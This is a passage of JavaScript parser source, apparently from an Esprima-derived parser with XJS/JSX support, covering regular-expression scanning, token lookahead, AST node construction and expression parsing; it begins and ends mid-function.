if (!isIdentifierPart(ch.charCodeAt(0))) {
break;
}
++index;
if (ch === '\\' && index < length) {
ch = source[index];
if (ch === 'u') {
++index;
restore = index;
ch = scanHexEscape('u');
if (ch) {
flags += ch;
for (str += '\\u'; restore < index; ++restore) {
str += source[restore];
}
} else {
index = restore;
flags += 'u';
str += '\\u';
}
} else {
str += '\\';
}
} else {
flags += ch;
str += ch;
}
}
try {
value = new RegExp(pattern, flags);
} catch (e) {
throwError({}, Messages.InvalidRegExp);
}
peek();
if (extra.tokenize) {
return {
type: Token.RegularExpression,
value: value,
lineNumber: lineNumber,
lineStart: lineStart,
range: [start, index]
};
}
return {
literal: str,
value: value,
range: [start, index]
};
}
function isIdentifierName(token) {
return token.type === Token.Identifier ||
token.type === Token.Keyword ||
token.type === Token.BooleanLiteral ||
token.type === Token.NullLiteral;
}
function advanceSlash() {
var prevToken,
checkToken;
// Using the following algorithm:
// https://github.com/mozilla/sweet.js/wiki/design
prevToken = extra.tokens[extra.tokens.length - 1];
if (!prevToken) {
// Nothing before that: it cannot be a division.
return scanRegExp();
}
if (prevToken.type === 'Punctuator') {
if (prevToken.value === ')') {
checkToken = extra.tokens[extra.openParenToken - 1];
if (checkToken &&
checkToken.type === 'Keyword' &&
(checkToken.value === 'if' ||
checkToken.value === 'while' ||
checkToken.value === 'for' ||
checkToken.value === 'with')) {
return scanRegExp();
}
return scanPunctuator();
}
if (prevToken.value === '}') {
// Dividing a function by anything makes little sense,
// but we have to check for that.
if (extra.tokens[extra.openCurlyToken - 3] &&
extra.tokens[extra.openCurlyToken - 3].type === 'Keyword') {
// Anonymous function.
checkToken = extra.tokens[extra.openCurlyToken - 4];
if (!checkToken) {
return scanPunctuator();
}
} else if (extra.tokens[extra.openCurlyToken - 4] &&
extra.tokens[extra.openCurlyToken - 4].type === 'Keyword') {
// Named function.
checkToken = extra.tokens[extra.openCurlyToken - 5];
if (!checkToken) {
return scanRegExp();
}
} else {
return scanPunctuator();
}
// checkToken determines whether the function is
// a declaration or an expression.
if (FnExprTokens.indexOf(checkToken.value) >= 0) {
// It is an expression.
return scanPunctuator();
}
// It is a declaration.
return scanRegExp();
}
return scanRegExp();
}
if (prevToken.type === 'Keyword') {
return scanRegExp();
}
return scanPunctuator();
}
function advance() {
var ch;
if (!state.inXJSChild) {
skipComment();
}
if (index >= length) {
return {
type: Token.EOF,
lineNumber: lineNumber,
lineStart: lineStart,
range: [index, index]
};
}
if (state.inXJSChild) {
return advanceXJSChild();
}
ch = source.charCodeAt(index);
// Very common: ( and ) and ;
if (ch === 40 || ch === 41 || ch === 58) {
return scanPunctuator();
}
// String literal starts with single quote (#39) or double quote (#34).
if (ch === 39 || ch === 34) {
if (state.inXJSTag) {
return scanXJSStringLiteral();
}
return scanStringLiteral();
}
if (state.inXJSTag && isXJSIdentifierStart(ch)) {
return scanXJSIdentifier();
}
if (ch === 96) {
return scanTemplate();
}
if (isIdentifierStart(ch)) {
return scanIdentifier();
}
// Dot (.) char #46 can also start a floating-point number, hence the need
// to check the next character.
if (ch === 46) {
if (isDecimalDigit(source.charCodeAt(index + 1))) {
return scanNumericLiteral();
}
return scanPunctuator();
}
if (isDecimalDigit(ch)) {
return scanNumericLiteral();
}
// Slash (/) char #47 can also start a regex.
if (extra.tokenize && ch === 47) {
return advanceSlash();
}
return scanPunctuator();
}
function lex() {
var token;
token = lookahead;
index = token.range[1];
lineNumber = token.lineNumber;
lineStart = token.lineStart;
lookahead = advance();
index = token.range[1];
lineNumber = token.lineNumber;
lineStart = token.lineStart;
return token;
}
function peek() {
var pos, line, start;
pos = index;
line = lineNumber;
start = lineStart;
lookahead = advance();
index = pos;
lineNumber = line;
lineStart = start;
}
function lookahead2() {
var adv, pos, line, start, result;
// If we are collecting the tokens, don't grab the next one yet.
adv = (typeof extra.advance === 'function') ? extra.advance : advance;
pos = index;
line = lineNumber;
start = lineStart;
// Scan for the next immediate token.
if (lookahead === null) {
lookahead = adv();
}
index = lookahead.range[1];
lineNumber = lookahead.lineNumber;
lineStart = lookahead.lineStart;
// Grab the token right after.
result = adv();
index = pos;
lineNumber = line;
lineStart = start;
return result;
}
SyntaxTreeDelegate = {
name: 'SyntaxTree',
postProcess: function (node) {
return node;
},
createArrayExpression: function (elements) {
return {
type: Syntax.ArrayExpression,
elements: elements
};
},
createAssignmentExpression: function (operator, left, right) {
return {
type: Syntax.AssignmentExpression,
operator: operator,
left: left,
right: right
};
},
createBinaryExpression: function (operator, left, right) {
var type = (operator === '||' || operator === '&&') ? Syntax.LogicalExpression :
Syntax.BinaryExpression;
return {
type: type,
operator: operator,
left: left,
right: right
};
},
createBlockStatement: function (body) {
return {
type: Syntax.BlockStatement,
body: body
};
},
createBreakStatement: function (label) {
return {
type: Syntax.BreakStatement,
label: label
};
},
createCallExpression: function (callee, args) {
return {
type: Syntax.CallExpression,
callee: callee,
'arguments': args
};
},
createCatchClause: function (param, body) {
return {
type: Syntax.CatchClause,
param: param,
body: body
};
},
createConditionalExpression: function (test, consequent, alternate) {
return {
type: Syntax.ConditionalExpression,
test: test,
consequent: consequent,
alternate: alternate
};
},
createContinueStatement: function (label) {
return {
type: Syntax.ContinueStatement,
label: label
};
},
createDebuggerStatement: function () {
return {
type: Syntax.DebuggerStatement
};
},
createDoWhileStatement: function (body, test) {
return {
type: Syntax.DoWhileStatement,
body: body,
test: test
};
},
createEmptyStatement: function () {
return {
type: Syntax.EmptyStatement
};
},
createExpressionStatement: function (expression) {
return {
type: Syntax.ExpressionStatement,
expression: expression
};
},
createForStatement: function (init, test, update, body) {
return {
type: Syntax.ForStatement,
init: init,
test: test,
update: update,
body: body
};
},
createForInStatement: function (left, right, body) {
return {
type: Syntax.ForInStatement,
left: left,
right: right,
body: body,
each: false
};
},
createForOfStatement: function (left, right, body) {
return {
type: Syntax.ForOfStatement,
left: left,
right: right,
body: body
};
},
createFunctionDeclaration: function (id, params, defaults, body, rest, generator, expression,
returnType) {
return {
type: Syntax.FunctionDeclaration,
id: id,
params: params,
defaults: defaults,
body: body,
rest: rest,
generator: generator,
expression: expression,
returnType: returnType
};
},
createFunctionExpression: function (id, params, defaults, body, rest, generator, expression,
returnType) {
return {
type: Syntax.FunctionExpression,
id: id,
params: params,
defaults: defaults,
body: body,
rest: rest,
generator: generator,
expression: expression,
returnType: returnType
};
},
createIdentifier: function (name) {
return {
type: Syntax.Identifier,
name: name,
// Only here to initialize the shape of the object to ensure
// that the 'typeAnnotation' key is ordered before others that
// are added later (like 'loc' and 'range'). This just helps
// keep the shape of Identifier nodes consistent with everything
// else.
typeAnnotation: undefined
};
},
createTypeAnnotation: function (typeIdentifier, paramTypes, returnType, nullable) {
return {
type: Syntax.TypeAnnotation,
id: typeIdentifier,
paramTypes: paramTypes,
returnType: returnType,
nullable: nullable
};
},
createTypeAnnotatedIdentifier: function (identifier, annotation) {
return {
type: Syntax.TypeAnnotatedIdentifier,
id: identifier,
annotation: annotation
};
},
createXJSAttribute: function (name, value) {
return {
type: Syntax.XJSAttribute,
name: name,
value: value
};
},
createXJSIdentifier: function (name, namespace) {
return {
type: Syntax.XJSIdentifier,
name: name,
namespace: namespace
};
},
createXJSElement: function (openingElement, closingElement, children) {
return {
type: Syntax.XJSElement,
openingElement: openingElement,
closingElement: closingElement,
children: children
};
},
createXJSEmptyExpression: function () {
return {
type: Syntax.XJSEmptyExpression
};
},
createXJSExpressionContainer: function (expression) {
return {
type: Syntax.XJSExpressionContainer,
expression: expression
};
},
createXJSOpeningElement: function (name, attributes, selfClosing) {
return {
type: Syntax.XJSOpeningElement,
name: name,
selfClosing: selfClosing,
attributes: attributes
};
},
createXJSClosingElement: function (name) {
return {
type: Syntax.XJSClosingElement,
name: name
};
},
createIfStatement: function (test, consequent, alternate) {
return {
type: Syntax.IfStatement,
test: test,
consequent: consequent,
alternate: alternate
};
},
createLabeledStatement: function (label, body) {
return {
type: Syntax.LabeledStatement,
label: label,
body: body
};
},
createLiteral: function (token) {
return {
type: Syntax.Literal,
value: token.value,
raw: source.slice(token.range[0], token.range[1])
};
},
createMemberExpression: function (accessor, object, property) {
return {
type: Syntax.MemberExpression,
computed: accessor === '[',
object: object,
property: property
};
},
createNewExpression: function (callee, args) {
return {
type: Syntax.NewExpression,
callee: callee,
'arguments': args
};
},
createObjectExpression: function (properties) {
return {
type: Syntax.ObjectExpression,
properties: properties
};
},
createPostfixExpression: function (operator, argument) {
return {
type: Syntax.UpdateExpression,
operator: operator,
argument: argument,
prefix: false
};
},
createProgram: function (body) {
return {
type: Syntax.Program,
body: body
};
},
createProperty: function (kind, key, value, method, shorthand) {
return {
type: Syntax.Property,
key: key,
value: value,
kind: kind,
method: method,
shorthand: shorthand
};
},
createReturnStatement: function (argument) {
return {
type: Syntax.ReturnStatement,
argument: argument
};
},
createSequenceExpression: function (expressions) {
return {
type: Syntax.SequenceExpression,
expressions: expressions
};
},
createSwitchCase: function (test, consequent) {
return {
type: Syntax.SwitchCase,
test: test,
consequent: consequent
};
},
createSwitchStatement: function (discriminant, cases) {
return {
type: Syntax.SwitchStatement,
discriminant: discriminant,
cases: cases
};
},
createThisExpression: function () {
return {
type: Syntax.ThisExpression
};
},
createThrowStatement: function (argument) {
return {
type: Syntax.ThrowStatement,
argument: argument
};
},
createTryStatement: function (block, guardedHandlers, handlers, finalizer) {
return {
type: Syntax.TryStatement,
block: block,
guardedHandlers: guardedHandlers,
handlers: handlers,
finalizer: finalizer
};
},
createUnaryExpression: function (operator, argument) {
if (operator === '++' || operator === '--') {
return {
type: Syntax.UpdateExpression,
operator: operator,
argument: argument,
prefix: true
};
}
return {
type: Syntax.UnaryExpression,
operator: operator,
argument: argument
};
},
createVariableDeclaration: function (declarations, kind) {
return {
type: Syntax.VariableDeclaration,
declarations: declarations,
kind: kind
};
},
createVariableDeclarator: function (id, init) {
return {
type: Syntax.VariableDeclarator,
id: id,
init: init
};
},
createWhileStatement: function (test, body) {
return {
type: Syntax.WhileStatement,
test: test,
body: body
};
},
createWithStatement: function (object, body) {
return {
type: Syntax.WithStatement,
object: object,
body: body
};
},
createTemplateElement: function (value, tail) {
return {
type: Syntax.TemplateElement,
value: value,
tail: tail
};
},
createTemplateLiteral: function (quasis, expressions) {
return {
type: Syntax.TemplateLiteral,
quasis: quasis,
expressions: expressions
};
},
createSpreadElement: function (argument) {
return {
type: Syntax.SpreadElement,
argument: argument
};
},
createTaggedTemplateExpression: function (tag, quasi) {
return {
type: Syntax.TaggedTemplateExpression,
tag: tag,
quasi: quasi
};
},
createArrowFunctionExpression: function (params, defaults, body, rest, expression) {
return {
type: Syntax.ArrowFunctionExpression,
id: null,
params: params,
defaults: defaults,
body: body,
rest: rest,
generator: false,
expression: expression
};
},
createMethodDefinition: function (propertyType, kind, key, value) {
return {
type: Syntax.MethodDefinition,
key: key,
value: value,
kind: kind,
'static': propertyType === ClassPropertyType["static"]
};
},
createClassBody: function (body) {
return {
type: Syntax.ClassBody,
body: body
};
},
createClassExpression: function (id, superClass, body) {
return {
type: Syntax.ClassExpression,
id: id,
superClass: superClass,
body: body
};
},
createClassDeclaration: function (id, superClass, body) {
return {
type: Syntax.ClassDeclaration,
id: id,
superClass: superClass,
body: body
};
},
createExportSpecifier: function (id, name) {
return {
type: Syntax.ExportSpecifier,
id: id,
name: name
};
},
createExportBatchSpecifier: function () {
return {
type: Syntax.ExportBatchSpecifier
};
},
createExportDeclaration: function (declaration, specifiers, source) {
return {
type: Syntax.ExportDeclaration,
declaration: declaration,
specifiers: specifiers,
source: source
};
},
createImportSpecifier: function (id, name) {
return {
type: Syntax.ImportSpecifier,
id: id,
name: name
};
},
createImportDeclaration: function (specifiers, kind, source) {
return {
type: Syntax.ImportDeclaration,
specifiers: specifiers,
kind: kind,
source: source
};
},
createYieldExpression: function (argument, delegate) {
return {
type: Syntax.YieldExpression,
argument: argument,
delegate: delegate
};
},
createModuleDeclaration: function (id, source, body) {
return {
type: Syntax.ModuleDeclaration,
id: id,
source: source,
body: body
};
}
};
// Return true if there is a line terminator before the next token.
function peekLineTerminator() {
var pos, line, start, found;
pos = index;
line = lineNumber;
start = lineStart;
skipComment();
found = lineNumber !== line;
index = pos;
lineNumber = line;
lineStart = start;
return found;
}
// Throw an exception
function throwError(token, messageFormat) {
var error,
args = Array.prototype.slice.call(arguments, 2),
msg = messageFormat.replace(
/%(\d)/g,
function (whole, index) {
assert(index < args.length, 'Message reference must be in range');
return args[index];
}
);
if (typeof token.lineNumber === 'number') {
error = new Error('Line ' + token.lineNumber + ': ' + msg);
error.index = token.range[0];
error.lineNumber = token.lineNumber;
error.column = token.range[0] - lineStart + 1;
} else {
error = new Error('Line ' + lineNumber + ': ' + msg);
error.index = index;
error.lineNumber = lineNumber;
error.column = index - lineStart + 1;
}
error.description = msg;
throw error;
}
function throwErrorTolerant() {
try {
throwError.apply(null, arguments);
} catch (e) {
if (extra.errors) {
extra.errors.push(e);
} else {
throw e;
}
}
}
// Throw an exception because of the token.
function throwUnexpected(token) {
if (token.type === Token.EOF) {
throwError(token, Messages.UnexpectedEOS);
}
if (token.type === Token.NumericLiteral) {
throwError(token, Messages.UnexpectedNumber);
}
if (token.type === Token.StringLiteral || token.type === Token.XJSText) {
throwError(token, Messages.UnexpectedString);
}
if (token.type === Token.Identifier) {
throwError(token, Messages.UnexpectedIdentifier);
}
if (token.type === Token.Keyword) {
if (isFutureReservedWord(token.value)) {
throwError(token, Messages.UnexpectedReserved);
} else if (strict && isStrictModeReservedWord(token.value)) {
throwErrorTolerant(token, Messages.StrictReservedWord);
return;
}
throwError(token, Messages.UnexpectedToken, token.value);
}
if (token.type === Token.Template) {
throwError(token, Messages.UnexpectedTemplate, token.value.raw);
}
// BooleanLiteral, NullLiteral, or Punctuator.
throwError(token, Messages.UnexpectedToken, token.value);
}
// Expect the next token to match the specified punctuator.
// If not, an exception will be thrown.
function expect(value) {
var token = lex();
if (token.type !== Token.Punctuator || token.value !== value) {
throwUnexpected(token);
}
}
// Expect the next token to match the specified keyword.
// If not, an exception will be thrown.
function expectKeyword(keyword) {
var token = lex();
if (token.type !== Token.Keyword || token.value !== keyword) {
throwUnexpected(token);
}
}
// Return true if the next token matches the specified punctuator.
function match(value) {
return lookahead.type === Token.Punctuator && lookahead.value === value;
}
// Return true if the next token matches the specified keyword
function matchKeyword(keyword) {
return lookahead.type === Token.Keyword && lookahead.value === keyword;
}
// Return true if the next token matches the specified contextual keyword
function matchContextualKeyword(keyword) {
return lookahead.type === Token.Identifier && lookahead.value === keyword;
}
// Return true if the next token is an assignment operator
function matchAssign() {
var op;
if (lookahead.type !== Token.Punctuator) {
return false;
}
op = lookahead.value;
return op === '=' ||
op === '*=' ||
op === '/=' ||
op === '%=' ||
op === '+=' ||
op === '-=' ||
op === '<<=' ||
op === '>>=' ||
op === '>>>=' ||
op === '&=' ||
op === '^=' ||
op === '|=';
}
function consumeSemicolon() {
var line;
// Catch the very common case first: immediately a semicolon (char #59).
if (source.charCodeAt(index) === 59) {
lex();
return;
}
line = lineNumber;
skipComment();
if (lineNumber !== line) {
return;
}
if (match(';')) {
lex();
return;
}
if (lookahead.type !== Token.EOF && !match('}')) {
throwUnexpected(lookahead);
}
}
// Return true if provided expression is LeftHandSideExpression
function isLeftHandSide(expr) {
return expr.type === Syntax.Identifier || expr.type === Syntax.MemberExpression;
}
function isAssignableLeftHandSide(expr) {
return isLeftHandSide(expr) || expr.type === Syntax.ObjectPattern || expr.type === Syntax.ArrayPattern;
}
// 11.1.4 Array Initialiser
function parseArrayInitialiser() {
var elements = [], blocks = [], filter = null, tmp, possiblecomprehension = true, body;
expect('[');
while (!match(']')) {
if (lookahead.value === 'for' &&
lookahead.type === Token.Keyword) {
if (!possiblecomprehension) {
throwError({}, Messages.ComprehensionError);
}
matchKeyword('for');
tmp = parseForStatement({ignoreBody: true});
tmp.of = tmp.type === Syntax.ForOfStatement;
tmp.type = Syntax.ComprehensionBlock;
if (tmp.left.kind) { // can't be let or const
throwError({}, Messages.ComprehensionError);
}
blocks.push(tmp);
} else if (lookahead.value === 'if' &&
lookahead.type === Token.Keyword) {
if (!possiblecomprehension) {
throwError({}, Messages.ComprehensionError);
}
expectKeyword('if');
expect('(');
filter = parseExpression();
expect(')');
} else if (lookahead.value === ',' &&
lookahead.type === Token.Punctuator) {
possiblecomprehension = false; // no longer allowed.
lex();
elements.push(null);
} else {
tmp = parseSpreadOrAssignmentExpression();
elements.push(tmp);
if (tmp && tmp.type === Syntax.SpreadElement) {
if (!match(']')) {
throwError({}, Messages.ElementAfterSpreadElement);
}
} else if (!(match(']') || matchKeyword('for') || matchKeyword('if'))) {
expect(','); // this lexes.
possiblecomprehension = false;
}
}
}
expect(']');
if (filter && !blocks.length) {
throwError({}, Messages.ComprehensionRequiresBlock);
}
if (blocks.length) {
if (elements.length !== 1) {
throwError({}, Messages.ComprehensionError);
}
return {
type: Syntax.ComprehensionExpression,
filter: filter,
blocks: blocks,
body: elements[0]
};
}
return delegate.createArrayExpression(elements);
}
// 11.1.5 Object Initialiser
function parsePropertyFunction(options) {
var previousStrict, previousYieldAllowed, params, defaults, body;
previousStrict = strict;
previousYieldAllowed = state.yieldAllowed;
state.yieldAllowed = options.generator;
params = options.params || [];
defaults = options.defaults || [];
body = parseConciseBody();
if (options.name && strict && isRestrictedWord(params[0].name)) {
throwErrorTolerant(options.name, Messages.StrictParamName);
}
if (state.yieldAllowed && !state.yieldFound) {
throwErrorTolerant({}, Messages.NoYieldInGenerator);
}
strict = previousStrict;
state.yieldAllowed = previousYieldAllowed;
return delegate.createFunctionExpression(null, params, defaults, body, options.rest || null, options.generator, body.type !== Syntax.BlockStatement,
options.returnTypeAnnotation);
}
function parsePropertyMethodFunction(options) {
var previousStrict, tmp, method;
previousStrict = strict;
strict = true;
tmp = parseParams();
if (tmp.stricted) {
throwErrorTolerant(tmp.stricted, tmp.message);
}
method = parsePropertyFunction({
params: tmp.params,
defaults: tmp.defaults,
rest: tmp.rest,
generator: options.generator,
returnTypeAnnotation: tmp.returnTypeAnnotation
});
strict = previousStrict;
return method;
}
function parseObjectPropertyKey() {
var token = lex();
// Note: This function is called only from parseObjectProperty(), where
// EOF and Punctuator tokens are already filtered out.
if (token.type === Token.StringLiteral || token.type === Token.NumericLiteral) {
if (strict && token.octal) {
throwErrorTolerant(token, Messages.StrictOctalLiteral);
}
return delegate.createLiteral(token);
}
return delegate.createIdentifier(token.value);
}
function parseObjectProperty() {
var token, key, id, value, param;
token = lookahead;
if (token.type === Token.Identifier) {
id = parseObjectPropertyKey();
// Property Assignment: Getter and Setter.
if (token.value === 'get' && !(match(':') || match('('))) {
key = parseObjectPropertyKey();
expect('(');
expect(')');
return delegate.createProperty('get', key, parsePropertyFunction({ generator: false }), false, false);
}
if (token.value === 'set' && !(match(':') || match('('))) {
key = parseObjectPropertyKey();
expect('(');
token = lookahead;
param = [ parseTypeAnnotatableIdentifier() ];
expect(')');
return delegate.createProperty('set', key, parsePropertyFunction({ params: param, generator: false, name: token }), false, false);
}
if (match(':')) {
lex();
return delegate.createProperty('init', id, parseAssignmentExpression(), false, false);
}
if (match('(')) {
return delegate.createProperty('init', id, parsePropertyMethodFunction({ generator: false }), true, false);
}
return delegate.createProperty('init', id, id, false, true);
}
if (token.type === Token.EOF || token.type === Token.Punctuator) {
if (!match('*')) {
throwUnexpected(token);
}
lex();
id = parseObjectPropertyKey();
if (!match('(')) {
throwUnexpected(lex());
}
return delegate.createProperty('init', id, parsePropertyMethodFunction({ generator: true }), true, false);
}
key = parseObjectPropertyKey();
if (match(':')) {
lex();
return delegate.createProperty('init', key, parseAssignmentExpression(), false, false);
}
if (match('(')) {
return delegate.createProperty('init', key, parsePropertyMethodFunction({ generator: false }), true, false);
}
throwUnexpected(lex());
}
function parseObjectInitialiser() {
var properties = [], property, name, key, kind, map = {}, toString = String;
expect('{');
while (!match('}')) {
property = parseObjectProperty();
if (property.key.type === Syntax.Identifier) {
name = property.key.name;
} else {
name = toString(property.key.value);
}
kind = (property.kind === 'init') ? PropertyKind.Data : (property.kind === 'get') ? PropertyKind.Get : PropertyKind.Set;
key = '$' + name;
if (Object.prototype.hasOwnProperty.call(map, key)) {
if (map[key] === PropertyKind.Data) {
if (strict && kind === PropertyKind.Data) {
throwErrorTolerant({}, Messages.StrictDuplicateProperty);
} else if (kind !== PropertyKind.Data) {
throwErrorTolerant({}, Messages.AccessorDataProperty);
}
} else {
if (kind === PropertyKind.Data) {
throwErrorTolerant({}, Messages.AccessorDataProperty);
} else if (map[key] & kind) {
throwErrorTolerant({}, Messages.AccessorGetSet);
}
}
map[key] |= kind;
} else {
map[key] = kind;
}
properties.push(property);
if (!match('}')) {
expect(',');
}
}
expect('}');
return delegate.createObjectExpression(properties);
}
function parseTemplateElement(option) {
var token = scanTemplateElement(option);
if (strict && token.octal) {
throwError(token, Messages.StrictOctalLiteral);
}
return delegate.createTemplateElement({ raw: token.value.raw, cooked: token.value.cooked }, token.tail);
}
function parseTemplateLiteral() {
var quasi, quasis, expressions;
quasi = parseTemplateElement({ head: true });
quasis = [ quasi ];
expressions = [];
while (!quasi.tail) {
expressions.push(parseExpression());
quasi = parseTemplateElement({ head: false });
quasis.push(quasi);
}
return delegate.createTemplateLiteral(quasis, expressions);
}
// 11.1.6 The Grouping Operator
function parseGroupExpression() {
var expr;
expect('(');
++state.parenthesizedCount;
expr = parseExpression();
expect(')');
return expr;
}
// 11.1 Primary Expressions
function parsePrimaryExpression() {
var type, token;
token = lookahead;
type = lookahead.type;
if (type === Token.Identifier) {
lex();
return delegate.createIdentifier(token.value);
}
if (type === Token.StringLiteral || type === Token.NumericLiteral) {
if (strict && lookahead.octal) {
throwErrorTolerant(lookahead, Messages.StrictOctalLiteral);
}
return delegate.createLiteral(lex());
}
if (type === Token.Keyword) {
if (matchKeyword('this')) {
lex();
return delegate.createThisExpression();
}
if (matchKeyword('function')) {
return parseFunctionExpression();
}
if (matchKeyword('class')) {
return parseClassExpression();
}
if (matchKeyword('super')) {
lex();
return delegate.createIdentifier('super');
}
}
if (type === Token.BooleanLiteral) {
token = lex();
token.value = (token.value === 'true');
return delegate.createLiteral(token);
}
if (type === Token.NullLiteral) {
token = lex();
token.value = null;
return delegate.createLiteral(token);
}
if (match('[')) {
return parseArrayInitialiser();
}
if (match('{')) {
return parseObjectInitialiser();
}
if (match('(')) {
return parseGroupExpression();
}
if (match('/') || match('/=')) {
return delegate.createLiteral(scanRegExp());
}
if (type === Token.Template) {
return parseTemplateLiteral();
}
if (match('<')) {
return parseXJSElement();
}
return throwUnexpected(lex());
}
// 11.2 Left-Hand-Side Expressions
function parseArguments() {
var args = [], arg;
expect('(');
if (!match(')')) {
while (index < length) {
arg = parseSpreadOrAssignmentExpression();
args.push(arg);
if (match(')')) {
break;
} else if (arg.type === Syntax.SpreadElement) {
throwError({}, Messages.ElementAfterSpreadElement);
}
expect(',');
}
}
expect(')');
return args;
}
function parseSpreadOrAssignmentExpression() {
if (match('...')) {
lex();
return delegate.createSpreadElement(parseAssignmentExpression());
}
return parseAssignmentExpression();
}
function parseNonComputedProperty() {
var token = lex();
if (!isIdentifierName(token)) {
throwUnexpected(token);
}
return delegate.createIdentifier(token.value);
}
function parseNonComputedMember() {
expect('.');
return parseNonComputedProperty();
}
function parseComputedMember() {
var expr;
expect('[');
expr = parseExpression();
expect(']');
return expr;
}
function parseNewExpression() {
var callee, args;
expectKeyword('new');
callee = parseLeftHandSideExpression();
args = match('(') ? parseArguments() : [];
return delegate.createNewExpression(callee, args);
}
function parseLeftHandSideExpressionAllowCall() {
var expr, args, property;
expr = matchKeyword('new') ? parseNewExpression() : parsePrimaryExpression();
while (match('.') || match('[') || match('(') || lookahead.type === Token.Template) {
if (match('(')) {
args = parseArguments();
expr = delegate.createCallExpression(expr, args);
} else if (match('[')) {
expr = delegate.createMemberExpression('[', expr, parseComputedMember());
} else if (match('.')) {
expr = delegate.createMemberExpression('.', expr, parseNonComputedMember());
} else {
expr = delegate.createTaggedTemplateExpression(expr, parseTemplateLiteral());
}
}
return expr;
}
function parseLeftHandSideExpression() {
var expr, property;
expr = matchKeyword('new') ? parseNewExpression() : parsePrimaryExpression();
while (match('.') || match('[') || lookahead.type === Token.Template) {
if (match('[')) {
expr = delegate.createMemberExpression('[', expr, parseComputedMember());
} else if (match('.')) {
expr = delegate.createMemberExpression('.', expr, parseNonComputedMember());
} else {
expr = delegate.createTaggedTemplateExpression(expr, parseTemplateLiteral());
}
}
return expr;
}
// 11.3 Postfix Expressions
function parsePostfixExpression() {
var expr = parseLeftHandSideExpressionAllowCall(),
token = lookahead;
if (lookahead.type !== Token.Punctuator) {
return expr;
}
if ((match('++') || match('--')) && !peekLineTerminator()) {
// 11.3.1, 11.3.2
if (strict && expr.type === Syntax.Identifier && isRestrictedWord(expr.name)) {
throwErrorTolerant({}, Messages.StrictLHSPostfix);
}
if (!isLeftHandSide(expr)) {
throwError({}, Messages.InvalidLHSInAssignment);
}
token = lex();
expr = delegate.createPostfixExpression(token.value, expr);
}
return expr;
}
// 11.4 Unary Operators
function parseUnaryExpression() {
var token, expr;
if (lookahead.type !== Token.Punctuator && lookahead.type !== Token.Keyword) {
return parsePostfixExpression();
}
if (match('++') || match('--')) {
token = lex();
expr = parseUnaryExpression();
// 11.4.4, 11.4.5
if (strict && expr.type === Syntax.Identifier && isRestrictedWord(expr.name)) {
throwErrorTolerant({}, Messages.StrictLHSPrefix);
}
if (!isLeftHandSide(expr)) {
throwError({}, Messages.InvalidLHSInAssignment);
}
return delegate.createUnaryExpression(token.value, expr);
}
if (match('+') || match('-') || match('~') || match('!')) {
token = lex();
expr = parseUnaryExpression();
return delegate.createUnaryExpression(token.value, expr);
}
if (matchKeyword('delete') || matchKeyword('void') || matchKeyword('typeof')) {
token = lex();
expr = parseUnaryExpression();
expr = delegate.createUnaryExpression(token.value, expr);
if (strict && expr.operator === 'delete' && expr.argument.type === Syntax.Identifier) {
throwErrorTolerant({}, Messages.StrictDelete);
}
return expr;
}
return parsePostfixExpression();
}
function binaryPrecedence(token, allowIn) {
var prec = 0;
if (token.type !== Token.Punctuator && token.type !== Token.Keyword) {
return 0;
}
switch (token.value) {
case '||':
prec = 1;
break;
case '&&':
prec = 2;
break;
case '|':
prec = 3;
break;
case '^':
prec = 4;
break;
case '&':
prec = 5;
break;
case '==':
case '!=':
case '===':
case '!==':
prec = 6;
break;
case '<':
case '>':
case '<=':
case '>=':
case 'instanceof':
prec = 7;
break;
case 'in':
prec = allowIn ? 7 : 0;
break;
case '<<':
case '>>':
case '>>>':
prec = 8;
break;
case '+':
case '-':
prec = 9;
break;
case '*':
case '/':
case '%':
prec = 11;
break;
default:
break;
}
return prec;
}
// 11.5 Multiplicative Operators
// 11.6 Additive Operators
// 11.7 Bitwise Shift Operators
// 11.8 Relational Operators
// 11.9 Equality Operators
// 11.10 Binary Bitwise Operators
// 11.11 Binary Logical Operators
function parseBinaryExpression() {
var expr, token, prec, previousAllowIn, stack, right, operator, left, i;
previousAllowIn = state.allowIn;
state.allowIn = true;
expr = parseUnaryExpression();
token = lookahead;
prec = binaryPrecedence(token, previousAllowIn);
if (prec === 0) {
return expr;
}
token.prec = prec;
lex();
stack = [expr, token, parseUnaryExpression()];
while ((prec = binaryPrecedence(lookahead, previousAllowIn)) > 0) {
// Reduce: make a binary expression from the three topmost entries.
while ((stack.length > 2) && (prec <= stack[stack.length - 2].prec)) {
right = stack.pop();
operator = stack.pop().value;
left = stack.pop();
stack.push(delegate.createBinaryExpression(operator, left, right));
}
// Shift.
token = lex();
token.prec = prec;
stack.push(token);
stack.push(parseUnaryExpression());
}
state.allowIn = previousAllowIn;
// Final reduce to clean-up the stack.
i = stack.length - 1;
expr = stack[i];
while (i > 1) {
expr = delegate.createBinaryExpression(stack[i - 1].value, stack[i - 2], expr);
i -= 2;
}
return expr;
}
// 11.12 Conditional Operator
function parseConditionalExpression() {
var expr, previousAllowIn, consequent, alternate;
expr = parseBinaryExpression();
if (match('?')) {
lex();
previousAllowIn = state.allowIn;
state.allowIn = true;
consequent = parseAssignmentExpression();
state.allowIn = previousAllowIn;
expect(':');
alternate = parseAssignmentExpression();
expr = delegate.createConditionalExpression(expr, consequent, alternate);
}
return expr;
}
// 11.13 Assignment Operators
function reinterpretAsAssignmentBindingPattern(expr) {
var i, len, property, element;
if (expr.type === Syntax.ObjectExpression) {
expr.type = Syntax.ObjectPattern;
for (i = 0, len = expr.properties.length; i < len; i += 1) {
property = expr.properties[i];
if (property.kind !== 'init') {
throwError({}, Messages.InvalidLHSInAssignment);
}
reinterpretAsAssignmentBindingPattern(property.value);
}
} else if (expr.type === Syntax.ArrayExpression) {
expr.type = Syntax.ArrayPattern;
for (i = 0, len = expr.elements.length; i < len; i += 1) {
element = expr.elements[i];
if (element) {
reinterpretAsAssignmentBindingPattern(element);
}
}
} else if (expr.type === Syntax.Identifier) {
if (isRestrictedWord(expr.name)) {
throwError({}, Messages.InvalidLHSInAssignment);
}
} else if (expr.type === Syntax.SpreadElement) {
reinterpretAsAssignmentBindingPattern(expr.argument);
if (expr.argument.type === Syntax.ObjectPattern) {
throwError({}, Messages.ObjectPatternAsSpread);
}
} else {
if (expr.type !== Syntax.MemberExpression && expr.type !== Syntax.CallExpression && expr.type !== Syntax.NewExpression) {
throwError({}, Messages.InvalidLHSInAssignment);
}
}
}
function reinterpretAsDestructuredParameter(options, expr) {
var i, len, property, element;
if (expr.type === Syntax.ObjectExpression) {
expr.type = Syntax.ObjectPattern;
for (i = 0, len = expr.properties.length; i < len; i += 1) {
property = expr.properties[i];
if (property.kind !== 'init') {
throwError({}, Messages.InvalidLHSInFormalsList);
}
reinterpretAsDestructuredParameter(options, property.value);
}
